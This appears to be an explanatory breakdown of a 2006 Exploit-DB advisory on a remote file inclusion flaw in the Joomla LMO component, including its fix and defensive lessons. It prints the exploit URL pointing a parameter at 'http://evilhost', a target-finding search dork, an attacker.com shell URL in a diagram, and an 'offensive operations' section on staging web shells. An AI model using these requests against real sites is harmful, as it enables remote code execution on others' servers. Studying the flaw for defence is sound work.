Understanding Joomla! Component LMO 1.0b2 Remote File Inclusion

What this paper is

This paper details a vulnerability in the LMO component for Joomla! version 1.0b2. The vulnerability is a Remote File Inclusion (RFI) flaw. It allows an attacker to include and execute arbitrary files from a remote server by manipulating a specific variable. This exploit relies on the register_globals PHP setting being enabled.

Simple technical breakdown

The LMO component in Joomla! uses a variable called $mosConfig_absolute_path without properly checking its content. If register_globals is enabled on the web server, an attacker can set this variable to a URL pointing to their own malicious file. The component then uses this attacker-controlled URL to construct paths and potentially include the remote file, leading to code execution on the victim's server.

Complete code and payload walkthrough

The provided paper snippet focuses on the vulnerable code and the exploit technique, rather than a full exploit script with shellcode.

Vulnerable Code Snippet:

$mosConfig_absolute_path not sanitized: xpl works with register_globals=on
in components/com_lmo/lmo.php on line 11-12

$lmo_dateipfad=$mosConfig_absolute_path."/administrator/components/com_lmo/";
$lmo_url=$mosConfig_live_site."/administrator/components/com_lmo/";

• $mosConfig_absolute_path not sanitized: xpl works with register_globals=on: This is a comment explaining the core of the vulnerability.

  • $mosConfig_absolute_path not sanitized: The value of this variable is not checked for malicious input.
  • xpl works with register_globals=on: The exploit is only effective if the register_globals PHP directive is enabled. This directive automatically registers GET/POST/COOKIE variables as global variables, meaning if a variable like mosConfig_absolute_path is sent in a URL, it becomes a global PHP variable.

• $lmo_dateipfad=$mosConfig_absolute_path."/administrator/components/com_lmo/";: This line constructs a local file path.

  • Purpose: To define the local directory path for the LMO component.
  • Inputs:
    • $mosConfig_absolute_path: This variable is expected to hold the absolute path to the Joomla! installation's root directory. However, due to the vulnerability, it can be controlled by the attacker.
    • "/administrator/components/com_lmo/": A fixed string representing a subdirectory within the Joomla! administrator area.
  • Behavior: It concatenates the (potentially malicious) $mosConfig_absolute_path with the fixed string.
  • Output: The resulting string is assigned to $lmo_dateipfad. If $mosConfig_absolute_path is a URL, $lmo_dateipfad will become a URL.

• $lmo_url=$mosConfig_live_site."/administrator/components/com_lmo/";: This line constructs a URL.

  • Purpose: To define a URL for the LMO component.
  • Inputs:
    • $mosConfig_live_site: This variable typically holds the base URL of the Joomla! site.
    • "/administrator/components/com_lmo/": A fixed string representing a subdirectory.
  • Behavior: It concatenates the site's live site URL with the fixed string. This line itself is not directly exploited but is part of the component's logic.

Exploit Technique:

Exploit:
~~~~~~~~

dork: "com_lmo"

http://www.vuln.com/components/com_lmo/lmo.php?mosConfig_absolute_path=http://evilhost

• dork: "com_lmo": This suggests a search query (a "Google dork") that an attacker might use to find vulnerable Joomla! sites. Searching for "com_lmo" would likely find pages that include this component.

• http://www.vuln.com/components/com_lmo/lmo.php?mosConfig_absolute_path=http://evilhost: This is the exploit request.

  • http://www.vuln.com/components/com_lmo/lmo.php: This is the target URL, pointing to the vulnerable component's main file.

  • ?mosConfig_absolute_path=http://evilhost: This is the crucial part.

    • mosConfig_absolute_path: This is the variable that is not sanitized.
    • =http://evilhost: The attacker sets this variable to a URL (http://evilhost) pointing to a server they control.

  • How it works: When the lmo.php script executes, it will read the value of $mosConfig_absolute_path from the URL. Because register_globals is on, $mosConfig_absolute_path will be set to http://evilhost. The line $lmo_dateipfad=$mosConfig_absolute_path."/administrator/components/com_lmo/"; will then result in $lmo_dateipfad becoming http://evilhost/administrator/components/com_lmo/. If the script later attempts to include or process files using $lmo_dateipfad in a way that allows remote inclusion (e.g., using include or require with this URL), it will fetch and execute code from http://evilhost.

Fix:

Fix
~~~~

Add before code:
defined('_VALID_MOS') or die('Direct access to this location is not allowed.');

vitux

• defined('_VALID_MOS') or die('Direct access to this location is not allowed.');: This is a standard Joomla! security check.
  • Purpose: To prevent direct access to PHP files that are meant to be included by the Joomla! core.
  • Behavior: It checks if the _VALID_MOS constant is defined. This constant is typically defined only when Joomla! is loaded through its main index.php file. If the constant is not defined (meaning the file is being accessed directly or via an exploit), the script will terminate with the message "Direct access to this location is not allowed."
  • How it fixes the RFI: By placing this check at the very beginning of the vulnerable file (lmo.php), it prevents the malicious code from ever reaching the lines that construct $lmo_dateipfad and $lmo_url if the file is accessed directly or via an RFI attempt.

Code Fragment/Block -> Practical Purpose Mapping:

• $mosConfig_absolute_path not sanitized: xpl works with register_globals=on -> Comment: Explains vulnerability condition.
• $lmo_dateipfad=$mosConfig_absolute_path."/administrator/components/com_lmo/"; -> Vulnerable Path Construction: Creates a local path, but can be manipulated into a remote URL.
• $lmo_url=$mosConfig_live_site."/administrator/components/com_lmo/"; -> URL Construction: Part of component's normal operation, not directly exploited here.
• dork: "com_lmo" -> Reconnaissance Hint: Suggests how to find vulnerable targets.
• http://www.vuln.com/components/com_lmo/lmo.php?mosConfig_absolute_path=http://evilhost -> Exploit Request: Demonstrates how to trigger the RFI.
• defined('_VALID_MOS') or die('Direct access to this location is not allowed.'); -> Security Fix: Prevents direct access and RFI.

Practical details for offensive operations teams

• Required Access Level: Low. This is a remote, unauthenticated vulnerability. An attacker only needs to be able to send HTTP requests to the target web server.
• Lab Preconditions:
  • A vulnerable Joomla! installation (version 1.0.x) with the LMO component installed.
  • The register_globals PHP directive must be enabled on the target server. This was common in older PHP versions but is now deprecated and disabled by default in modern PHP.
  • A remote server controlled by the attacker to host the malicious payload (e.g., a PHP web shell).
• Tooling Assumptions:
  • Standard web browser or an HTTP request tool (like curl, Burp Suite, or OWASP ZAP) to craft and send the exploit request.
  • A web server on the attacker's side to host the payload.
• Execution Pitfalls:
  • register_globals: The most significant pitfall. If register_globals is off, this specific exploit will not work. Modern PHP versions have this disabled by default.
  • Component Not Installed: The target must have the LMO component installed.
  • File Inclusion Logic: The vulnerable component must actually use the constructed $lmo_dateipfad or a similar variable in a way that leads to remote file inclusion (e.g., via include, require, include_once, require_once). The paper implies this is the case for lmo.php.
  • Firewall/WAF: Network firewalls or Web Application Firewalls (WAFs) might block requests containing URLs in GET parameters, especially if they look suspicious.
  • Payload Hosting: The attacker's server must be accessible from the target server.
• Tradecraft Considerations:
  • Reconnaissance: Use search engines with specific dorks (like "com_lmo") to identify potential targets. Look for older Joomla! versions.
  • Payload Staging: The attacker needs to host a PHP file (e.g., a web shell) on their controlled server. This file will be the payload.
  • Exploitation: Send a crafted HTTP GET request to the vulnerable lmo.php script, injecting the attacker's payload URL into the mosConfig_absolute_path parameter.
  • Post-Exploitation: If successful, the target server will fetch and execute the attacker's payload, granting them a shell or other desired access.
• Likely Failure Points:
  • register_globals is disabled.
  • The LMO component is not installed.
  • The specific version of LMO is patched or different.
  • The component's inclusion logic doesn't lead to remote file inclusion.
  • Network restrictions prevent the target from reaching the attacker's server.
  • A WAF blocks the exploit request.

Where this was used and when

• Context: This vulnerability was found in a component for Joomla! 1.0.
• Approximate Year: Published in July 2006. This indicates it was relevant around that time. Joomla! 1.0 was released in 2005. Exploits from this era often targeted older PHP versions and configurations where register_globals was still prevalent.

Defensive lessons for modern teams

• Disable register_globals: This is a fundamental security practice. Modern PHP versions have this disabled by default and it should never be enabled.
• Input Validation and Sanitization: Always validate and sanitize user-supplied input, especially when it's used in file paths, database queries, or executed as code. Never trust external input.
• Use Joomla!'s Security Checks: Employ standard Joomla! security checks like defined('_VALID_MOS') or die('Direct access to this location is not allowed.'); at the beginning of component files to prevent direct access.
• Keep Software Updated: Regularly update Joomla! core and all installed extensions to patch known vulnerabilities.
• Web Application Firewalls (WAFs): Implement and configure WAFs to detect and block common attack patterns, including RFI attempts.
• Secure PHP Configuration: Ensure PHP is configured securely, disabling dangerous functions and directives.

ASCII visual (if applicable)

This vulnerability is a direct manipulation of a web request and server-side processing. An ASCII visual can illustrate the flow of data.

+-------------------+      +---------------------+      +---------------------+
| Attacker's Server |----->| Target Web Server   |----->| Vulnerable Joomla!  |
| (Hosts Payload)   |      | (PHP w/ register_   |      | Component (LMO.php) |
+-------------------+      | globals=ON)         |      +---------------------+
         ^                 +---------------------+                  |
         |                                                            |
         | HTTP Request                                               | Processes
         | (e.g., GET /components/com_lmo/lmo.php?                   | $mosConfig_absolute_path
         | mosConfig_absolute_path=http://attacker.com/shell.php)     |
         |                                                            |
         |                                                            v
         |                                                  +---------------------+
         |                                                  | Include/Execute     |
         |                                                  | Remote File         |
         |                                                  +---------------------+
         |                                                            |
         +------------------------------------------------------------+
                                   (Payload Execution)

Source references

• Paper ID: 2092
• Paper Title: Joomla! Component LMO 1.0b2 - Remote File Inclusion
• Author: vitux
• Published: 2006-07-30
• Keywords: PHP, webapps
• Paper URL: https://www.exploit-db.com/papers/2092
• Raw URL: https://www.exploit-db.com/raw/2092

Original Exploit-DB Content (Verbatim)

Application : LMO - Joomla! Component

URL : http://forge.joomla.org/sf/projects/lmo

Variable $mosConfig_absolute_path not sanitized: xpl works with register_globals=on
in components/com_lmo/lmo.php on line 11-12

$lmo_dateipfad=$mosConfig_absolute_path."/administrator/components/com_lmo/";
$lmo_url=$mosConfig_live_site."/administrator/components/com_lmo/";
 
Exploit:
~~~~~~~~

dork: "com_lmo"

http://www.vuln.com/components/com_lmo/lmo.php?mosConfig_absolute_path=http://evilhost

Fix
~~~~

Add before code:
defined('_VALID_MOS') or die('Direct access to this location is not allowed.');

vitux
 
#vitux.manis@gmail.com

# milw0rm.com [2006-07-30]